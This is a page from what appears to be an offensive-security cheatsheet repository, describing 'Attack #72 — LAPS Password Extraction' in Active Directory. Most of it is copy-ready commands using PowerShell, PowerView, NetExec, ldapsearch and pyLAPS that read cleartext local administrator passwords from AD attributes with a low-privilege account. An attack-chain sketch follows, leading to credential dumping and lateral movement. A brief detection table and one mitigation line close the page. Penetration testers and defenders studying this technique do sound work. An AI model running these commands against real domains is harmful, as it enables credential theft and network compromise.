repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-72-laps-password-extraction.mdMarkdown85 lines4.0 KiBsource raw download

title: "Attack #72 โ€” LAPS Password Extraction" description: "LAPS (Local Administrator Password Solution) stores unique, randomized local admin passwords in Active Directory attributes (ms-Mcs-AdmPwd for LAPS v1โ€ฆ" category: active-directory subcategory: "Advanced & Post-Exploitation" tags: ["active-directory"] tools: ["NetExec", "ldapsearch", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Ten/๐Ÿ”ท Attack #72 โ€” LAPS Password Extraction.md"#

๐Ÿ”ท Attack #72 โ€” LAPS Password Extraction#


๐Ÿ“– How It Works#

LAPS (Local Administrator Password Solution) stores unique, randomized local admin passwords in Active Directory attributes (ms-Mcs-AdmPwd for LAPS v1, msLAPS-Password / msLAPS-EncryptedPassword for LAPS v2) on computer objects. If a user can read these attributes (via ACL misconfiguration or group membership), they can extract the cleartext local admin password for any managed computer.


โš™๏ธ Prerequisites#

Requirement Detail
Read access to LAPS attributes Must have Read ms-Mcs-AdmPwd or Read msLAPS-Password
Domain user with delegated LAPS read rights Often helpdesk, server admins

๐Ÿ’ป Full Commands#

# โ”€โ”€ Check who can read LAPS passwords โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Find-AdmPwdExtendedRights -Identity "OU=Servers,DC=corp,DC=local"

# โ”€โ”€ Read LAPS password (LAPS v1) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-ADComputer TARGET -Properties ms-Mcs-AdmPwd | Select Name,ms-Mcs-AdmPwd

# โ”€โ”€ LAPS v2 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-LapsADPassword -Identity TARGET -AsPlainText

# โ”€โ”€ PowerView โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Get-DomainComputer TARGET -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime
# โ”€โ”€ NetExec โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
nxc ldap DC01.corp.local -u low_user -p 'Password1' --module laps

# Or smb:
nxc smb DC01.corp.local -u low_user -p 'Password1' --laps

# โ”€โ”€ ldapsearch โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
ldapsearch -x -H ldap://DC01.corp.local -D "low_user@corp.local" -w 'Password1' \
  -b "DC=corp,DC=local" "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd

# โ”€โ”€ pyLAPS โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
python3 pyLAPS.py --action get -d corp.local -u low_user -p 'Password1' --dc-ip 10.10.10.10

๐Ÿ›ก๏ธ Detection โ€” Event IDs#

Event ID Source What to Look For
4662 Security Log (DC) Read access to ms-Mcs-AdmPwd attribute
Audit AD DS Track who queries LAPS password attributes

๐Ÿ”— Attack Chain Context#

[LAPS] โ”€โ”€โ†’ Read local admin passwords from AD attributes
         โ”‚
         โ”œโ”€โ”€โ†’ ๐Ÿ”‘ Each computer has unique local admin password
         โ”œโ”€โ”€โ†’ ๐Ÿ”— Password โ†’ local admin โ†’ credential dumping โ†’ lateral movement
         โ””โ”€โ”€โ†’ ๐Ÿ’€ Defeated by: restrict LAPS read delegation, audit access

โœ… Attack #72 โ€” LAPS Password Extraction complete.